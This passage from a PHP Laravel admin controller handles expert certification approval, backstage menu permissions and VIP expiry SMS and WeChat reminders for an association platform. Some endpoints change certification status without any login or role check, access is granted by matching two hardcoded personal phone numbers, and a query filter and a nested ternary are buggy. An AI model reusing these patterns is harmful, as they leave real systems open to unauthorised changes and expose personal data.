            $unitAuth->is_auth = 2;
        }else{
            return response()->json(['level' => 'error','message' => '操作类型不正确']);
        }

        $unitAuth->save();

        return response()->json(['level' => 'success','message' => '设置成功','data' => $unitAuth]);
    }

    /**
     * 专家认证列表
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function getExpertAuthList(Request $request){
        $page      = !is_null($request->get('page')) ? $request->get('page') : 1;
        $limit     = !is_null($request->get('limit'))? $request->get('limit'): 10;
        $keyword   = !is_null($request->get('keyword')) ? $request->get('keyword') : '';
        $isAuth    = !is_null($request->get('is_auth')) ? $request->get('is_auth') : 'default';
        $id        = $request->get('id');

        $pageInfo = [
            'page' => $page,
            'limit' => $limit,
        ];

        /** @var Experts $expertAuth */
        $expertAuthList = Experts::whereNull('deleted_at');

        if($keyword != ''){
            $userIds = User::where('phone','like','%'.trim($keyword).'%')->pluck('id');

            $expertAuthList->whereIn('user_id',$userIds)->orWhere('realname','like','%'.trim($keyword).'%');
        }

        if($isAuth != 'default' && $isAuth !== ''){
            $expertAuthList = $expertAuthList->whereIsAuth($isAuth);
        }
        if ($id){
            $expertAuthList=$expertAuthList->whereId($id);
        }

        $pageInfo['total'] = $expertAuthList->count();

        $expertAuthList = $expertAuthList->orderBy('is_top','desc')->orderBy('created_at','desc')->offset($limit * ($page - 1))->limit($limit)->get();
        if(count($expertAuthList) > 0){
            foreach($expertAuthList as $expertAuth){
                $userInfo = CommonManager::getUserBasicInfo($expertAuth->user_id);
                $expertAuth->phone = $userInfo ? $userInfo['phone'] : '';
                $expertAuth->photo_url = FileManager::getImgUrl($expertAuth->photo_id);
                $expertAuth->expert_label = CommonManager::getExpertLabel($expertAuth->id);
                $expertAuth->expert_qualification_img = CommonManager::getExpertQualificationImg($expertAuth->id);
                $expertAuth->auth_status = CommonManager::getAuthReviewStatus($expertAuth->is_auth);
            }
        }

        return response()->json(['level' => 'success','message' => '获取成功','data' => $expertAuthList,'page_info' => $pageInfo]);
    }

    /**
     * 改变专家认证状态
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function changeExpertAuthStatus(Request $request){
        $id   = !is_null($request->get('id')) ? $request->get('id') : 0;
        $type = !is_null($request->get('type')) ? $request->get('type') : 'default';
        $msg  = $request->get("msg");

        $expertAuth = Experts::whereId($id)->first();
        if(!$expertAuth)
            return response()->json(['level' => 'error','message' => '认证不存在']);

        if($type == 'default'){
            if($expertAuth->is_auth == 1)
                return response()->json(['level' => 'error','message' => '认证已通过']);

            if($expertAuth->is_auth == 2)
                return response()->json(['level' => 'error','message' => '认证已拒绝']);

            $selectOtherExpertAuth = Experts::whereUserId($expertAuth->user_id)->where('id','<>',$expertAuth->id)->first();
            if($selectOtherExpertAuth){
                $selectOtherExpertAuth->delete();
            }

            $expertAuth->is_auth = 1;
            $expertAuth->auth_time = date("Y-m-d H:i:s",time());

            $userInfo = UserInfo::whereUserId($expertAuth->user_id)->first();
            if($userInfo){
                if(is_null($userInfo->realname) || $userInfo->realname == ''){
                    $userInfo->realname = $expertAuth->realname;
                    $userInfo->save();
                }
            }

            $thisUser = User::whereId($expertAuth->user_id)->first();
            if($thisUser){
                WechatLogin::weSendSubscribeMessage('personal_auth',$thisUser->wx_openid,0,'认证通过',"专家认证",date("Y-m-d H:i:s",time()));
            }
        }elseif($type == 'refusal'){
            if($expertAuth->is_auth == 1)
                return response()->json(['level' => 'error','message' => '认证已通过']);

            if($expertAuth->is_auth == 2)
                return response()->json(['level' => 'error','message' => '认证已拒绝']);

            $expertAuth->is_auth = 2;

            $refMsg = "专家认证";
            if(!is_null($msg) && trim($msg) != ""){
                $refMsg = "[专家认证]".$msg;
            }

            $thisUser = User::whereId($expertAuth->user_id)->first();
            if($thisUser){
                WechatLogin::weSendSubscribeMessage('personal_auth',$thisUser->wx_openid,0,'认证不通过',$refMsg,date("Y-m-d H:i:s",time()));
            }
        }else{
            return response()->json(['level' => 'error','message' => '操作类型不正确']);
        }

        $expertAuth->save();

        return response()->json(['level' => 'success','message' => '设置成功','data' => $expertAuth]);
    }

    /**
     * 获取后台栏目
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function getBackstageSectionList(Request $request){
        /** @var User $adminUser */
        $adminUser = UserManager::isLogin($request,$front = 1);
        if(!$adminUser)
            return response()->json(['level' => 'error','message' => '请先登录！','data' => 'no_login']);

        if($adminUser->role == 1){
            /** @var BackstageSection $backstageSection */
            $backstageSectionList = BackstageSection::wherePid(0)->where('link_url','<>','11')->orderBy('sort','asc')->get();
            if(count($backstageSectionList) > 0){
                foreach($backstageSectionList as $backstageSection){
                    $childList = BackstageSection::wherePid($backstageSection->id)->orderBy('sort','asc')->get();

                    $backstageSection->child_list = $childList;
                }
            }
        }elseif($adminUser->role == 0){
            $unitAuth = CommonManager::isUnitAuth($adminUser->id);
            $isBind   = is_numeric($adminUser->phone);
            if($unitAuth || $isBind){
                $accountNumber = BackstageSection::wherePid(0)->whereLinkUrl('11')->first();
                if($accountNumber){
                    $childAccountNumber = BackstageSection::wherePid($accountNumber->id)->orderBy('sort','asc')->get();
                    if($childAccountNumber){
                        $accountNumber->child_list = $childAccountNumber;
                    }else{
                        $accountNumber->child_list = null;
                    }
                }

                $unitManagement = BackstageSection::wherePid(0)->whereLinkUrl('5')->first();
                if($unitManagement){
                    $unitId = UserXUnit::whereUserId($adminUser->id)->first();
                    if($unitId){
                        $isMemberUnit = Units::whereId($unitId->unit_id)->first();
                        if($isMemberUnit && $isMemberUnit->is_member_unit == 1){
                            $childUnitManagement = BackstageSection::wherePid($unitManagement->id)->whereLinkUrl('/vipCompany_list')->first();
                            if($childUnitManagement){
                                $childUnitManagement->title = "我的单位";
                            }
                        }elseif($isMemberUnit && $isMemberUnit->is_member_unit == 0){
                            $childUnitManagement = BackstageSection::wherePid($unitManagement->id)->whereLinkUrl('/authCompany_list')->first();
                        }elseif($isMemberUnit && $isMemberUnit->is_member_unit == 2){
                            $childUnitManagement = BackstageSection::wherePid($unitManagement->id)->whereLinkUrl('/official_company')->first();
                        }else{
                            $childUnitManagement = null;
                        }

                        if($unitId->is_admin == 1){
                            $childInvoiceManagement = BackstageSection::wherePid($unitManagement->id)->whereLinkUrl('/receipt_system')->first();
                        }else{
                            $childInvoiceManagement = null;
                        }

                        $unitManagement->child_list = [$childUnitManagement,$childInvoiceManagement];
                    }else{
                        $unitManagement->child_list = null;
                    }
                }

                $demandManagement = BackstageSection::wherePid(0)->whereLinkUrl('3')->first();
                if($demandManagement){
                    $childDemandManagement = BackstageSection::wherePid($demandManagement->id)->whereLinkUrl('/demand')->first();
                    $childDemandManagementTwo = BackstageSection::wherePid($demandManagement->id)->whereLinkUrl('/demand_docking')->first();
                    if($childDemandManagement || $childDemandManagementTwo){
                        $demandManagement->child_list = [$childDemandManagement,$childDemandManagementTwo];
                    }else{
                        $demandManagement->child_list = null;
                    }


                }

                $activityManagement = BackstageSection::wherePid(0)->whereLinkUrl('7')->first();
                if($activityManagement){
                    $childActivityManagement = BackstageSection::wherePid($activityManagement->id)->whereLinkUrl('/activity')->first();
                    if($childActivityManagement){
                        $activityManagement->child_list = [$childActivityManagement];
                    }else{
                        $activityManagement->child_list = null;
                    }
                }

                //专家管理
                $zjManagement = null;
                if($adminUser->phone == "15999969373" || $adminUser->phone == "13560499229"){
                    $zjManagement = BackstageSection::wherePid(0)->whereLinkUrl('2')->first();
                    if($zjManagement){
                        $childZjManagement = BackstageSection::wherePid($zjManagement->id)->whereLinkUrl('/expert')->first();
                        if($childZjManagement){
                            $zjManagement->child_list = [$childZjManagement];
                        }else{
                            $zjManagement->child_list = null;
                        }
                    }
                }

                $userXUnit = UserXUnit::whereUserId($adminUser->id)->first();
                if($userXUnit && $userXUnit->is_admin == 1){
                    if(!is_null($zjManagement)){
                        $backstageSectionList = [$unitManagement,$activityManagement,$demandManagement,$zjManagement];
                    }else{
                        $backstageSectionList = [$unitManagement,$activityManagement,$demandManagement];
                    }

                }elseif($userXUnit && $userXUnit->is_admin == 0){
                    $backstageSectionList = [$demandManagement];
                }else{
                    $backstageSectionList = [$demandManagement];
//                    $backstageSectionList = [];
                }
            }else{
                $backstageSectionList = [];
            }
        }else{
            $backstageSectionList = [];
        }

        return response()->json(['level' => 'success','message' => '获取成功','data' => $backstageSectionList]);
    }

    /**
     * 获取栏目链接
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function getSectionUrl(Request $request){
        $data = [
            (object)[
                'name' => '首页',
                'link_url' => '/pages/home/home',
                'level' => '1',
            ],
            (object)[
                'name' => '服务',
                'link_url' => '/pages/needs/needs',
                'level' => '1',
            ],
            (object)[
                'name' => '资讯',
                'link_url' => '/pages/news/news',
                'level' => '1',
            ],
            (object)[
                'name' => '我的',
                'link_url' => '/pages/person/person',
                'level' => '1',
            ],
            (object)[
                'name' => '专家列表',
                'link_url' => '/pages/expertLibrary/expertLibrary',
                'level' => '2',
            ],
            (object)[
                'name' => '会员单位列表',
                'link_url' => '/pages/memberUnit/memberUnit',
                'level' => '2',
            ],
            (object)[
                'name' => '关于我们',
                'link_url' => '/pages/person/aboutUs/aboutUs',
                'level' => '2',
            ],
            (object)[
                'name' => '单位入驻申请',
                'link_url' => '/pages/myCompany/myCompany',
                'level' => '3',
            ],
            (object)[
                'name' => '发布服务',
                'link_url' => '/pages/needs/addNeeds/addNeeds',
                'level' => '3',
            ],
            (object)[
                'name' => '我的关注',
                'link_url' => '/pages/person/myFollow/myFollow',
                'level' => '3',
            ],
            (object)[
                'name' => '我的活动',
                'link_url' => '/pages/person/myActivity/myActivity',
                'level' => '3',
            ],
            (object)[
                'name' => '我的服务',
                'link_url' => '/pages/person/releaseNeeds/releaseNeeds',
                'level' => '3',
            ],
            (object)[
                'name' => '对接服务',
                'link_url' => '/pages/person/buttjointNeeds/buttjointNeeds',
                'level' => '3',
            ],
            (object)[
                'name' => '我的认证',
                'link_url' => '/pages/Authentication/Authentication',
                'level' => '3',
            ],
            (object)[
                'name' => '活动',
                'link_url' => '/pages/activityList/activityList',
                'level' => '2',
            ],
            (object)[
                'name' => '值班表',
                'link_url' => '/pages/duty_info/duty_info',
                'level' => '2',
            ]
        ];

        /** @var Classify $DemandClassify */
        $DemandClassifies = Classify::whereType('demand')->orderBy('created_at','desc')->get();
        if(count($DemandClassifies) > 0){
            foreach($DemandClassifies as $DemandClassify){
                $child = (object)[
                    'name' => $DemandClassify->name,
                    'link_url' => '/pages/needsClass/needsClass?classify_id='.$DemandClassify->id,
                    'level' => '2',
                ];

                array_push($data,$child);
            }
        }

        return response()->json(['level' => 'success','message' => '获取成功','data' => $data]);
    }

    /**
     * 获取会员到期提醒时间
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function getVipMaturityRemindTime(Request $request){
        $sysSetUp = SysSetUp::whereType(3)->first();
        if($sysSetUp){
            $sysSetUp->day = (int)$sysSetUp->content;
        }

        return response()->json(['level' => 'success','message' => '获取成功','data' => $sysSetUp]);
    }

    /**
     * 设置会员到期提醒时间
     * @param Request $request
     * @return \Illuminate\Http\JsonResponse
     */
    public function setVipMaturityRemindTime(Request $request){
        /** @var User $adminUser */
        $adminUser = UserManager::isLogin($request,$front = 1);
        if(!$adminUser)
            return response()->json(['level' => 'error','message' => '请先登录！','data' => 'no_login']);

        $day = !is_null($request->get('day')) ? $request->get('day') : 0;

        if($day <= 0)
            return response()->json(['level' => 'error','message' => '请输入至少一天']);

        $sysSetUp = SysSetUp::whereType(3)->first();
        if(!$sysSetUp)
            $sysSetUp = new SysSetUp();

        $sysSetUp->title    = '会员到期时间设置';
        $sysSetUp->content  = $day;
        $sysSetUp->type     = 3;
        $sysSetUp->status   = 1;
        $sysSetUp->save();

        return response()->json(['level' => 'success','message' => '设置成功','data' => $sysSetUp]);
    }

    public function sendSmsToAdminOne(Request $request){
        $day = 14;
        $sysSetUp = SysSetUp::whereType(3)->first();
        if($sysSetUp){
            $day = (int)$sysSetUp->content;
        }

        /** @var VipInfo $vipInfo */
        $vipInfoList = VipInfo::where('end_time','<=',date('Y-m-d H:i:s',time() + $day * 86400))->get();
        if(count($vipInfoList) > 0){
            foreach($vipInfoList as $vipInfo){
                $userBasicInfo = CommonManager::getUserBasicInfo($vipInfo->user_id);
                $realname = $userBasicInfo ? $userBasicInfo['realname'] ? $userBasicInfo['realname'] : $userBasicInfo['nickname'] ? $userBasicInfo['nickname'] : '' : '';

                $adminList = User::whereRole(1)->get();
                if(count($adminList) > 0){
                    foreach($adminList as $admin){
                        if($admin->phone != '' && !is_null($admin->phone)){
                            $isRemind = VipMaturityRemindRecord::whereUserId($vipInfo->user_id)->wherePhone($admin->phone)->whereBetween('created_at',[date('Y-m-d H:i:s',strtotime($vipInfo->end_time) - $day * 86400),$vipInfo->end_time])->first();
                            if(!$isRemind){
                                $send = new YunPian();
                                $send->sendSms($admin->phone,stripslashes("【省人协】\\" . "{$realname}的vip快到期了，如有需要，请尽快联系，商议续费事宜！"));

                                $newVipMaturityRemindRecord = new VipMaturityRemindRecord();
                                $newVipMaturityRemindRecord->user_id         = $vipInfo->user_id;
                                $newVipMaturityRemindRecord->phone           = $admin->phone;
                                $newVipMaturityRemindRecord->save();
                            }
                        }
                    }
                }
            }
        }
        return response()->json(['level'=>'success']);
    }

    public function sendSmsToAdminTwo(Request $request){
        $day = 14;
        $sysSetUp = SysSetUp::whereType(3)->first();
        if($sysSetUp){
            $day = (int)$sysSetUp->content;
        }

        /** @var UnitBindVipPackage $unitBindVipPackage */
        $unitBindVipPackageList = UnitBindVipPackage::where('end_time','<=',date('Y-m-d H:i:s',time() + $day * 86400))->get();
        if(count($unitBindVipPackageList) > 0){
            foreach($unitBindVipPackageList as $unitBindVipPackage){
                $unit = Units::whereId($unitBindVipPackage->unit_id)->first();
                if($unit){
                    $unitName = $unit->name;

                    //发给后台管理员
                    $adminList = User::whereRole(1)->get();
                    if(count($adminList) > 0){
                        foreach($adminList as $admin){
                            if($admin->phone != '' && !is_null($admin->phone)){
                                $isRemind = VipMaturityRemindRecord::whereUnitId($unit->id)->wherePhone($admin->phone)->whereBetween('created_at',[date('Y-m-d H:i:s',strtotime($unitBindVipPackage->end_time) - $day * 86400),$unitBindVipPackage->end_time])->first();
                                if(!$isRemind){
                                    $send = new YunPian();
                                    $send->sendSms($admin->phone,stripslashes("【省人协】\\" . "{$unitName}的vip快到期了，如有需要，请尽快联系，商议续费事宜！"));

                                    $newVipMaturityRemindRecord = new VipMaturityRemindRecord();
                                    $newVipMaturityRemindRecord->unit_id         = $unit->id;
                                    $newVipMaturityRemindRecord->phone           = $admin->phone;
                                    $newVipMaturityRemindRecord->save();
                                }
                            }
                        }
                    }

                    //发给单位管理员
                    $unitXUserList = UserXUnit::whereUnitId($unit->id)->whereIsAdmin(1)->get();
                    if(count($unitXUserList) > 0){
                        foreach($unitXUserList as $unitXUser){
                            $isUnitAuth = CommonManager::isUnitAuth($unitXUser->user_id);
                            if($isUnitAuth){
                                $user = User::whereId($unitXUser->user_id)->first();
                                if($user){
                                    $isRemind = VipMaturityRemindRecord::whereUnitId($unit->id)->whereUserId($unitXUser->user_id)->whereBetween('created_at',[date('Y-m-d H:i:s',strtotime($unitBindVipPackage->end_time) - $day * 86400),$unitBindVipPackage->end_time])->first();
                                    if(!$isRemind){
                                        WechatLogin::weSendSubscribeMessage('vip',$user->wx_openid,0,'','',$unitBindVipPackage->start_time,$unitBindVipPackage->end_time);

                                        $newVipMaturityRemindRecord = new VipMaturityRemindRecord();
                                        $newVipMaturityRemindRecord->unit_id         = $unit->id;
                                        $newVipMaturityRemindRecord->user_id         = $user->id;
                                        $newVipMaturityRemindRecord->save();
                                    }
                                }
                            }
                        }
                    }
                }
            }
        }
        return response()->json(['level'=>'success']);
    }

}
